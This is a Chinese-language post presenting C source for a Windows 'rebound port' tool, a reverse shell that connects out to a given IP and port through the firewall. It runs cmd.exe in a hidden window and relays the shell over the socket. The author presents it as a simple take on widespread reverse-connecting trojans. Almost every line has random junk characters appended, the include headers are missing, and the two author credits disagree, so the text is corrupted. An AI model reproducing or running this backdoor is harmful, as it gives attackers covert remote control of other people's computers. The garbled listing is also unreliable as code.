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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R@\}iyM  
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/* ============================== [s>3xWZ+a  
Rebound port in Windows NT fY!?rZ)$  
By wind,2006/7 X_TjJmc  
===============================*/ .>B'oD  
#include 2!^=G=H/  
#include ! I@w3`  
*y*tI}  
#pragma comment(lib,"wsock32.lib") "CT}34l  
N-M.O:p  
void OutputShell(); Tn}`VW~  
SOCKET sClient; N'v3 |g  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )hZ7`"f,ZN  
7AV{ h[J  
void main(int argc,char **argv) 2tq2   
{ I\. |\^  
WSADATA stWsaData; t1FtYXv`/  
int nRet; exb} y  
SOCKADDR_IN stSaiClient,stSaiServer; 86r"hy~  
hC<ROD  
if(argc != 3) !DZ=`a?y  
{ UX)GA[WI  
printf("Useage:\n\rRebound DestIP DestPort\n"); _Je 4&KU  
return; }%_|k^t  
} Zhq_ pus"a  
$D^\[^S  
WSAStartup(MAKEWORD(2,2),&stWsaData); IOl_J>D]F  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n[3z_Q I  
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stSaiClient.sin_family = AF_INET; uY& 1[(Pb  
stSaiClient.sin_port = htons(0); /f3/}x!po  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {@InOo!4w]  
^[?y 2A:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -tg|y  
{ (9]Uuvfp6"  
printf("Bind Socket Failed!\n"); N[I@}j  
return; XN df  
} UBaXS_c\  
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stSaiServer.sin_family = AF_INET; GE/!$3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]Y\$U<YjO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .@VZ3"  
!mNst$-H4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4\;zz8 5E  
{ ]01`r/->\  
printf("Connect Error!"); 0'Pjnk-i  
return; *dBeb  
} Fz7t84g(  
OutputShell(); L`+[mX&2B  
} 5)#j}`6  
46:<[0Psl/  
void OutputShell() u H[WlZ4  
{ ppAbG,7  
char szBuff[1024]; 0?7yM:!l  
SECURITY_ATTRIBUTES stSecurityAttributes; PIri|ZS  
OSVERSIONINFO stOsversionInfo; V\L;EHtc$  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; is<:}z  
STARTUPINFO stStartupInfo; .vu7$~7  
char *szShell; .WF"vUp  
PROCESS_INFORMATION stProcessInformation; kKyU?/aj  
unsigned long lBytesRead; b"I#\;Ym  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cgb>Naa<  
h.\I tK{)  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "DW~E\Y  
stSecurityAttributes.lpSecurityDescriptor = 0; l9.`2d]o  
stSecurityAttributes.bInheritHandle = TRUE; k~tEUsv  
._}}@V_/  
LqWiw24#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WcN4ff-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :aNjh  
-<g9 ) CV5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (p{X.X+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )d3 09O  
stStartupInfo.wShowWindow = SW_HIDE; 0+>g/ >  
stStartupInfo.hStdInput = hReadPipe; `d_T3^ayu  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; T)! }Wvv  
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GetVersionEx(&stOsversionInfo); ]\39#  
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switch(stOsversionInfo.dwPlatformId) '.|}  
{ 1w>[&#7  
case 1: vpu#!(N  
szShell = "command.com"; Ik:G5m<ta  
break; v$}^$8`  
default: I-#!mFl  
szShell = "cmd.exe"; u+)!C*ho  
break; ?@"@9na  
} =Vg~ VD   
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r^,_m,s'<  
b<u\THy#  
send(sClient,szMsg,77,0); L=<xTbY  
while(1) Thggas,  
{ /uw@o9`~2-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5U?O1}P  
if(lBytesRead) QV[&2&&^<<  
{ yX&# rI  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D2ggFxqe  
send(sClient,szBuff,lBytesRead,0); a ,mgM&yD  
} ?_]Y8f  
else q`e0%^U  
{ ktU:Uq  
lBytesRead=recv(sClient,szBuff,1024,0); ) 57'<  
if(lBytesRead<=0) break; x^y$pr  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t #(NfzN  
} stw@@GQ  
} 01n!T2;yW}  
D^r g-E[L  
return; +Nn >*sz  
}
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